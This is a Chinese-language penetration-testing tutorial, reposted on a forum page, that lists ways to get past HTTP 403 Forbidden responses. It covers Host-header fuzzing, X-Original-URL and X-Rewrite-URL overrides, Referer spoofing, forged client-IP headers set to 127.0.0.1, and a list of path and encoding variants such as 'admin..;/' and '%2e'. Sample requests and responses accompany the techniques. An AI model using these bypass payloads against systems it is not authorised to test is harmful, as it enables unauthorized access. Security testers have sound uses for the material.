0x01 前言
做滲透時(shí)經(jīng)常會(huì)碰到掃到的資產(chǎn)403的情況,特別是資產(chǎn)微乎其微的情況下,面試有時(shí)也會(huì)問到,這里做個(gè)總結(jié)!
0x02 利用姿勢(shì)
1.端口利用
掃描主機(jī)端口,找其它開放web服務(wù)的端口,訪問其端口,挑軟柿子。
2.修改HOST
Host在請(qǐng)求頭中的作用:在一般情況下,幾個(gè)網(wǎng)站可能會(huì)部署在同一個(gè)服務(wù)器上,或者幾個(gè)web系統(tǒng)共享一個(gè)服務(wù)器,通過host頭來指定應(yīng)該由哪個(gè)網(wǎng)站或者web系統(tǒng)來處理用戶的請(qǐng)求。而很多WEB應(yīng)用通過獲取HTTP HOST頭來獲得當(dāng)前請(qǐng)求訪問的位置,但是很多開發(fā)人員并未意識(shí)到HTTP HOST頭由用戶控制,從安全角度來講,任何用戶輸入都是認(rèn)為不安全的。
修改客戶端請(qǐng)求頭中的Host可以通過修改Host值修改為子域名或者ip來繞過來進(jìn)行繞過二級(jí)域名;首先對(duì)該目標(biāo)域名進(jìn)行子域名收集,整理好子域名資產(chǎn)(host字段同樣支持IP地址)。先Fuzz測(cè)試跑一遍收集到的子域名,這里使用的是Burp的Intruder功能。若看到一個(gè)服務(wù)端返回200的狀態(tài)碼,即表面成功找到一個(gè)在HOST白名單中的子域名。我們利用firefox插件來修改HOST值,成功繞過訪問限制。
3.覆蓋請(qǐng)求URL
嘗試使用X-Original-URL
和X-Rewrite-URL
標(biāo)頭繞過Web服務(wù)器的限制。通過支持X-Original-URL
和X-Rewrite-URL
標(biāo)頭,用戶可以使用這倆請(qǐng)求標(biāo)頭覆蓋請(qǐng)求URL中的路徑,嘗試?yán)@過對(duì)更高級(jí)別的緩存和Web服務(wù)器的限制
Request
GET /auth/login HTTP/1.1
Response
HTTP/1.1 403 Forbidden
Reqeust
GET / HTTP/1.1
X-Original-URL: /auth/login
Response
HTTP/1.1 200 OK
或者:
Reqeust
GET / HTTP/1.1
X-Rewrite-URL: /auth/login
Response
HTTP/1.1 200 OK
4.Referer標(biāo)頭繞過
嘗試使用Referer標(biāo)頭繞過Web服務(wù)器的限制。
介紹:Referer請(qǐng)求頭包含了當(dāng)前請(qǐng)求頁面的來源頁面的地址,即表示當(dāng)前頁面是通過此來源頁面里的鏈接進(jìn)入的。服務(wù)端一般使用Referer請(qǐng)求頭識(shí)別訪問來源。
Request
GET /auth/login HTTP/1.1
Host: xxx
Response
HTTP/1.1 403 Forbidden
Reqeust
GET / HTTP/1.1
Host: xxx
ReFerer//xxx/auth/login
Response
HTTP/1.1 200 OK
或者
Reqeust
GET /auth/login HTTP/1.1
Host: xxx
ReFerer//xxx/auth/login
Response
HTTP/1.1 200 OK
5.代理IP
一般開發(fā)者會(huì)通過Nginx代理識(shí)別訪問端IP限制對(duì)接口的訪問,嘗試使用X-Forwarded-For
、X-Forwared-Host
等標(biāo)頭繞過Web服務(wù)器的限制。
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwared-Host: 127.0.0.1
X-Host: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
如:
Request
GET /auth/login HTTP/1.1
Response
HTTP/1.1 401 Unauthorized
Reqeust
GET /auth/login HTTP/1.1
X-Custom-IP-Authorization: 127.0.0.1
Response
HTTP/1.1 200 OK
6.擴(kuò)展名繞過
基于擴(kuò)展名,用于繞過403受限制的目錄。
site.com/admin => 403 site.com/admin/ => 200 site.com/admin// => 200 site.com//admin// => 200 site.com/admin/* => 200 site.com/admin/*/ => 200 site.com/admin/. => 200 site.com/admin/./ => 200 site.com/./admin/./ => 200 site.com/admin/./. => 200 site.com/admin/./. => 200 site.com/admin? => 200 site.com/admin?? => 200 site.com/admin??? => 200 site.com/admin..;/ => 200 site.com/admin/..;/ => 200 site.com/%2f/admin => 200 site.com/%2e/admin => 200 site.com/admin%20/ => 200 site.com/admin%09/ => 200 site.com/%20admin%20/ => 200
7.掃描的時(shí)候 遇到403了,上目錄掃描工具,掃目錄,掃文件(記住,掃描的時(shí)候要打開探測(cè)403,因?yàn)橛行┚W(wǎng)站的目錄沒有權(quán)限訪問會(huì)顯示403,但是在這個(gè)目錄下面的文件,我們或許能掃描到并訪問 )
-
服務(wù)器
+關(guān)注
關(guān)注
13文章
9793瀏覽量
87943 -
URL
+關(guān)注
關(guān)注
0文章
141瀏覽量
15862 -
滲透
+關(guān)注
關(guān)注
0文章
21瀏覽量
6401
原文標(biāo)題:滲透測(cè)試如何利用403頁面
文章出處:【微信號(hào):菜鳥學(xué)信安,微信公眾號(hào):菜鳥學(xué)信安】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。
發(fā)布評(píng)論請(qǐng)先 登錄
【匯思博SEEK100開發(fā)板試用體驗(yàn)】06 天氣app--使用組件導(dǎo)航實(shí)現(xiàn)設(shè)置頁及頁面跳轉(zhuǎn)
利用onPageShow實(shí)現(xiàn)返回刷新的操作
《仿盒馬》app開發(fā)技術(shù)分享-- 用戶登陸頁面(靜態(tài))(20)
403 Forbidden是什么意思?最佳解決方法有哪些?
NC403(C50)高性能噪聲二極管現(xiàn)貨庫存
如何在KaihongOS操作系統(tǒng)中寫一個(gè)動(dòng)態(tài)的頁面
Allegro Skill布局功能之按頁擺放器件介紹

安全檢測(cè) 高效合規(guī) | 經(jīng)緯恒潤(rùn)重磅推出PeneTrix滲透測(cè)試平臺(tái)

LED紅墨水測(cè)試

GD32F403xx數(shù)據(jù)表

Web安全之滲透測(cè)試基礎(chǔ)與實(shí)踐
HarmonyOS Web頁面加載的原理和優(yōu)化方法

TLV320ADC3101可以正確設(shè)置和讀寫PAGE0頁的數(shù)據(jù),但是讀取PAGE4頁上的寄存器值都為0,為什么?
TFP501、TFP403參考設(shè)計(jì)

Linux內(nèi)核中的頁面分配機(jī)制

評(píng)論